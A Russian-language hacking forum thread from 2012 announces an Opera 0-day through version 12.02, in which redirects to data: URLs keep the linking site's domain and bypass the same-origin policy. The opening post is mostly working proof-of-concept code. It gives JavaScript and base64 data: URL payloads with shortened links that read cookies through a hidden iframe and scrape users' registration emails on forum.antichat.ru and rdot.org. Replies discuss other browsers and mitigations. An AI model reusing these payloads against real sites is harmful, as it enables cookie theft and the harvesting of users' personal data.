XSS на любых сайтах (Opera, 0-day, обход SOP)

Discussion in 'Уязвимости' started by M_script, 5 Oct 2012.

  1. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    [​IMG] follow


    Браузер Opera позволяет выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.
    Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась.
    Советую предварительно ознакомится со следующей информацией:
    http://ru.wikipedia.org/wiki/Правило_ограничения_домена
    http://ru.wikipedia.org/wiki/Data:_URL



    В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта.
    Пример:
    PHP:
    <script>alert(document.domain)</script>
    PHP:
    data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+
    Ссылка, сокращенная через сервис tinyurl.com:
    http://tinyurl.com/antichat-test1

    При переходе по ссылке мы увидим алерт "tinyurl.com".
    Если нажать Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку tinyurl.com/antichat-test1


    При нажатии Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью JS-метода location.reload()
    Пример:
    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();
    else
        
    alert(document.domain);
    </script>
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg==
    Ссылка:
    http://tinyurl.com/antichat-test2

    Теперь в алерте будет домен, с которого осуществлялся переход. Согласно same origin policy это дает доступ к данным, находящимся на том же домене.


    Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.

    Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.



    PoC:
    1) Читаем куки forum.antichat.ru:
    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();

    function 
    xss()
    {
        
    alert(document.frames[0].document.cookie);
    }

    function 
    ifrAdd()
    {
        var 
    ifr document.createElement('iframe');
        
    ifr.style 'width:0px;height:0px;visibility:hidden';
        
    ifr.src 'http';
        
    ifr.src += document.referrer.length '' 's';
        
    ifr.src += '://forum.antichat.ru/css/a.css';
        
    ifr.onload = function(){xss()};
        
    document.body.appendChild(ifr);
    }

    </script>
    <body onload=ifrAdd()>
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRpY2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk+
    Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
    http://tinyurl.com/antichat-cookie


    2) Читаем куки rdot.org
    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();

    function 
    xss()
    {
        
    alert(document.frames[0].document.cookie);
    }

    function 
    ifrAdd()
    {
        var 
    ifr document.createElement('iframe');
        
    ifr.style 'width:0px;height:0px;visibility:hidden';
        
    ifr.src 'https://rdot.org/forum/clientscript/vbulletin_read_marker.js';
        
    ifr.onload = function(){xss()};
        
    document.body.appendChild(ifr);
    }

    </script>
    <body onload=ifrAdd()>
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cHM6Ly9yZG90Lm9yZy9mb3J1bS9jbGllbnRzY3JpcHQvdmJ1bGxldGluX3JlYWRfbWFya2VyLmpzJztpLm9ubG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YigpPg==
    Ссылка (пример работает при переходе по ссылке с домена rdot.org):
    http://tinyurl.com/rdot-cookie


    3) Читаем регистрационное мыло forum.antichat.ru
    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();

    function 
    getMail()
    {
        var 
    = new XMLHttpRequest;
        
    x.open('GET''http' + (document.referrer.length '' 's') + '://forum.antichat.ru/profile.php?do=editpassword'false);
        
    x.send(null);
        
    alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
    }
    </script>
    <body onload=getMail()>
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHAnKyhkb2N1bWVudC5yZWZlcnJlci5sZW5ndGggPyAnJyA6ICdzJykrJzovL2ZvcnVtLmFudGljaGF0LnJ1L3Byb2ZpbGUucGhwP2RvPWVkaXRwYXNzd29yZCcsZmFsc2UpO3guc2VuZChudWxsKTthbGVydCh4LnJlc3BvbnNlVGV4dC5tYXRjaCgvbmFtZT0iZW1haWwiIHZhbHVlPSIoLis/KSIvKVsxXSl9PC9zY3JpcHQ+PGJvZHkgb25sb2FkPWEoKT4=
    Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
    http://tinyurl.com/antichat-mail


    4) Читаем регистрационное мыло rdot.org
    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();

    function 
    getMail()
    {
        var 
    = new XMLHttpRequest;
        
    x.open('GET''https://rdot.org/forum/profile.php?do=editpassword'false);
        
    x.send(null);
        
    alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
    }
    </script>
    <body onload=getMail()>
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHBzOi8vcmRvdC5vcmcvZm9ydW0vcHJvZmlsZS5waHA/ZG89ZWRpdHBhc3N3b3JkJyxmYWxzZSk7eC5zZW5kKG51bGwpO2FsZXJ0KHgucmVzcG9uc2VUZXh0Lm1hdGNoKC9uYW1lPSJlbWFpbCIgdmFsdWU9IiguKz8pIi8pWzFdKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YSgpPg==
    Ссылка (пример работает при переходе по ссылке с домена rdot.org):
    http://tinyurl.com/rdot-mail



    тема на rdot.org
     
    #1 M_script, 5 Oct 2012
    Last edited: 7 Feb 2013
    18 people like this.
  2. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    ФФ тоже поддерживает data, а значит можно поколупаться =)
     
    _________________________
  3. йож

    йож Banned

    Joined:
    31 Aug 2012
    Messages:
    50
    Likes Received:
    10
    Reputations:
    0
    true.
     
  4. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    ФФ 16 результат на ВИЧ положительный.
    [​IMG]

    После перехода:

    [​IMG]

    [​IMG]
     
    _________________________
  5. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    VY_CMa, в ФФ не работает при редириекте с веб-сайта на data.
    Большинство сайтов запрещают использовать data в ссылках, но разрешают ссылки на http(s).
     
  6. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    M_script, сайты сайтами конечно, но кусок уязвимости остается (domain сохраняется), а это уже что-то. Спасибо.
     
    _________________________
  7. WarT

    WarT New Member

    Joined:
    4 Mar 2011
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    пушка
     
  8. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Миллионы в паблик(((
     
    _________________________
    1 person likes this.
  9. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    Не хватает фразы: "Способов устранения уязвимости не существует в настоящее время." :)
     
    1 person likes this.
  10. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Я не зарабатываю на уязвимостях, ты же знаешь. Это хобби.
     
    3 people like this.
  11. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Радует, что кто то, из закрытых групп работает не только в группах, но и для общества в ообщем!)
     
    _________________________
    1 person likes this.
  12. GoodGoogle

    GoodGoogle Moderator

    Joined:
    5 Aug 2011
    Messages:
    1,160
    Likes Received:
    366
    Reputations:
    226
    Кроме как красавчик, сказать больше нечего!!!
     
    1 person likes this.
  13. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    не миллионы...оперой пользуются не так уж и много народа)
     
  14. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    В мире почти никто не пользуется, в России 16.6%.
     
  15. PRosTo_LEva

    PRosTo_LEva Elder - Старейшина

    Joined:
    18 Apr 2007
    Messages:
    449
    Likes Received:
    132
    Reputations:
    106
    M_script, большое спасибо.

    Безумно приятно что есть такие люди как Вы. Читая о подобных достижениях начинаешь задумываться о том, что далеко не всё безупречно в этом мире.
     
  16. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    _________________________
    1 person likes this.
  17. shumaher

    shumaher New Member

    Joined:
    16 Feb 2009
    Messages:
    12
    Likes Received:
    2
    Reputations:
    0
    Два пальца обоссать.
    Менять юрлы в линках. Например:
    po6olkudahotel.site.ru/tinyurl.com/blabla
    Чтобы редиректил и не взаимодействовал с основным сайтом, не хранил кук и.т.д.
     
  18. postscripter

    postscripter New Member

    Joined:
    25 Aug 2012
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    http://rutracker.org/forum/viewtopic.php?t=4220697 Чья работа? :D
     
  19. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Редирект через картинку - это другая уязвмость оперы. В теме описана не она.
     
  20. obj

    obj New Member

    Joined:
    1 Mar 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Для хрома способа никто не нашел ли?Пробовал через фрейм на своем сервере но там вылезал пустой алерт :(